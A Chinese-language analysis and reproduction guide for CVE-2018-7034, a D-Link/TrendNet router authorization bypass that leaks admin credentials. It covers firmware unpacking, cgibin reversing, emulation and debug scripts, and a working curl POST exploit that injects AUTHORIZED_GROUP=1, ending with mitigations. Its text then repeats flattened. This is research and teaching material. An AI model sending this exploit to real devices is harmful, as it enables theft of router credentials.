D-Link 登录信息泄露(权限绕过)漏洞分析报告(CVE-2018-7034)
字数 1662 2025-09-01 11:26:17

D-Link 登录信息泄露漏洞(CVE-2018-7034)深度分析与复现指南

漏洞概述

漏洞编号: CVE-2018-7034
影响设备: D-Link DIR645、DIR815等老设备,TrendNet TEW751等
漏洞类型: 权限绕过导致的信息泄露
风险等级: 高危
漏洞描述: 通过构造特殊的HTTP请求,攻击者可以绕过权限验证,直接访问设备配置文件,获取管理员账户和密码等敏感信息。

环境准备

复现环境

  • 操作系统: Ubuntu 24.04.2 LTS
  • 固件文件: TEW751DR_FW103B03.bin (可从提供的百度网盘链接下载)

工具准备

  1. 固件解包工具: binwalk
  2. 逆向分析工具: IDA Pro/Ghidra
  3. 调试工具: QEMU + GDB
  4. 网络工具: curl/wget, 浏览器

漏洞分析

漏洞位置

漏洞存在于固件的/htdocs/web/getcfg.php文件中,关键代码如下:

// 通过$AUTHORIZED_GROUP变量判断用户权限
if($AUTHORIZED_GROUP < 0) {
    // 权限不足处理
} else {
    // 加载指定配置文件
    $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
    include "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
}

漏洞原理

  1. 可控文件包含: $GETCFG_SVC变量直接来自用户可控的$_POST["SERVICES"]参数,导致可以控制/htdocs/webinc/getcfg/路径下的文件加载
  2. 敏感信息泄露: /htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php文件会遍历并输出系统路径/device/account/entry下的所有账户条目,包括用户名和密码
  3. 权限绕过: 需要绕过$AUTHORIZED_GROUP >= 0的检查才能利用此漏洞

权限绕过机制分析

关键变量赋值点

通过搜索发现$AUTHORIZED_GROUP变量在两个地方被赋值:

  1. /htdocs/web/wiz_freset.php - 用于出厂设置(不适用)
  2. /htdocs/cgibin - 主要分析目标

cgibin逆向分析

  1. 主要函数: phpcgi_main

  2. 关键结构:

    • sobj_new(): 创建存储解析字段的结构体
    • sobj_add_string(): 将内容存入结构体
  3. 请求处理流程:

    • 解析环境变量和POST数据
    • 检查CONTENT_TYPE是否为application/x-www-form-urlencoded
    • 通过read函数读取POST请求内容
    • 解析键值对形式的数据(以换行符分隔)
  4. 权限绕过技巧:

    • 程序原本会设置AUTHORIZED_GROUP=-1
    • 通过在POST数据中提前插入AUTHORIZED_GROUP=1,可以覆盖默认值
    • 需要绕过sess_validate()检查(需patch固件)

漏洞复现步骤

1. 环境搭建

# 解压固件
binwalk -Me TEW751DR_FW103B03.bin

# 设置QEMU环境
sudo cp -r squashfs-root /tmp
sudo chroot /tmp/squashfs-root /bin/sh

2. 修改cgibin文件

使用十六进制编辑器修改cgibin文件:

  • 定位到sess_validate()调用处
  • 修改为li $v0,-1指令

3. 调试脚本准备

start.sh:

#!/bin/sh
INPUT=`python -c "print 'AUTHORIZED_GROUP=1\nSERVICES=DEVICE.ACCOUNT\n'"`
LEN=$(echo -n "$INPUT" | wc -c)
export CONTENT_TYPE="application/x-www-form-urlencoded"
export CONTENT_LENGTH=$LEN
export REQUEST_URI="/getcfg.php"
export REQUEST_METHOD="POST"
export HTTP_COOKIE=""
export PWD="/"
export HOME="/"
export SCRIPT_NAME="/getcfg.php"
export SCRIPT_FILENAME="/htdocs/web/getcfg.php"
export QUERY_STRING=""
export SERVER_NAME="192.168.1.1"
export SERVER_PORT="80"
export SERVER_PROTOCOL="HTTP/1.1"

echo -n "$INPUT" | chroot . ./htdocs/cgibin

gdb脚本:

set args < start.sh
break *0x40445c
break *0x405ac0
run

4. 漏洞利用

实际利用时无需复杂调试,直接发送以下POST请求即可:

curl -X POST http://target-ip/getcfg.php -d "AUTHORIZED_GROUP=1
SERVICES=DEVICE.ACCOUNT"

5. 结果验证

成功利用后会返回包含账户信息的XML格式数据:

<account>
    <entry>
        <uid>Admin</uid>
        <name>Admin</name>
        <password>admin123</password>
        <group>0</group>
        <description>Admin</description>
    </entry>
</account>

防御措施

  1. 厂商修复方案:

    • 对用户输入进行严格过滤
    • 使用固定会话验证机制
    • 敏感配置文件增加访问控制
  2. 用户防护建议:

    • 升级到最新固件版本
    • 修改默认管理员密码
    • 禁用不必要的远程管理功能

参考资源

  1. Dlink getcfg.php远程敏感信息读取漏洞分析-先知社区
  2. D-Link 登录信息泄露(越权)CVE-2018-7034漏洞分析
  3. 一些经典IoT漏洞的分析与复现(新手向) - IOTsec-Zone

附录

受影响的完整设备列表

  • D-Link DIR-645
  • D-Link DIR-815
  • TrendNet TEW-751DR
  • 其他使用相同固件架构的D-Link/TrendNet设备

漏洞时间线

  • 发现日期: 2018年初
  • 披露日期: 2018年3月
  • CVE分配日期: 2018年3月15日
D-Link 登录信息泄露漏洞(CVE-2018-7034)深度分析与复现指南 漏洞概述 漏洞编号 : CVE-2018-7034 影响设备 : D-Link DIR645、DIR815等老设备,TrendNet TEW751等 漏洞类型 : 权限绕过导致的信息泄露 风险等级 : 高危 漏洞描述 : 通过构造特殊的HTTP请求,攻击者可以绕过权限验证,直接访问设备配置文件,获取管理员账户和密码等敏感信息。 环境准备 复现环境 操作系统 : Ubuntu 24.04.2 LTS 固件文件 : TEW751DR_ FW103B03.bin (可从提供的百度网盘链接下载) 工具准备 固件解包工具 : binwalk 逆向分析工具 : IDA Pro/Ghidra 调试工具 : QEMU + GDB 网络工具 : curl/wget, 浏览器 漏洞分析 漏洞位置 漏洞存在于固件的 /htdocs/web/getcfg.php 文件中,关键代码如下: 漏洞原理 可控文件包含 : $GETCFG_SVC 变量直接来自用户可控的 $_POST["SERVICES"] 参数,导致可以控制 /htdocs/webinc/getcfg/ 路径下的文件加载 敏感信息泄露 : /htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php 文件会遍历并输出系统路径 /device/account/entry 下的所有账户条目,包括用户名和密码 权限绕过 : 需要绕过 $AUTHORIZED_GROUP >= 0 的检查才能利用此漏洞 权限绕过机制分析 关键变量赋值点 通过搜索发现 $AUTHORIZED_GROUP 变量在两个地方被赋值: /htdocs/web/wiz_freset.php - 用于出厂设置(不适用) /htdocs/cgibin - 主要分析目标 cgibin逆向分析 主要函数 : phpcgi_main 关键结构 : sobj_new() : 创建存储解析字段的结构体 sobj_add_string() : 将内容存入结构体 请求处理流程 : 解析环境变量和POST数据 检查 CONTENT_TYPE 是否为 application/x-www-form-urlencoded 通过 read 函数读取POST请求内容 解析键值对形式的数据(以换行符分隔) 权限绕过技巧 : 程序原本会设置 AUTHORIZED_GROUP=-1 通过在POST数据中提前插入 AUTHORIZED_GROUP=1 ,可以覆盖默认值 需要绕过 sess_validate() 检查(需patch固件) 漏洞复现步骤 1. 环境搭建 2. 修改cgibin文件 使用十六进制编辑器修改 cgibin 文件: 定位到 sess_validate() 调用处 修改为 li $v0,-1 指令 3. 调试脚本准备 start.sh : gdb脚本 : 4. 漏洞利用 实际利用时无需复杂调试,直接发送以下POST请求即可: 5. 结果验证 成功利用后会返回包含账户信息的XML格式数据: 防御措施 厂商修复方案 : 对用户输入进行严格过滤 使用固定会话验证机制 敏感配置文件增加访问控制 用户防护建议 : 升级到最新固件版本 修改默认管理员密码 禁用不必要的远程管理功能 参考资源 Dlink getcfg.php远程敏感信息读取漏洞分析-先知社区 D-Link 登录信息泄露(越权)CVE-2018-7034漏洞分析 一些经典IoT漏洞的分析与复现(新手向) - IOTsec-Zone 附录 受影响的完整设备列表 D-Link DIR-645 D-Link DIR-815 TrendNet TEW-751DR 其他使用相同固件架构的D-Link/TrendNet设备 漏洞时间线 发现日期: 2018年初 披露日期: 2018年3月 CVE分配日期: 2018年3月15日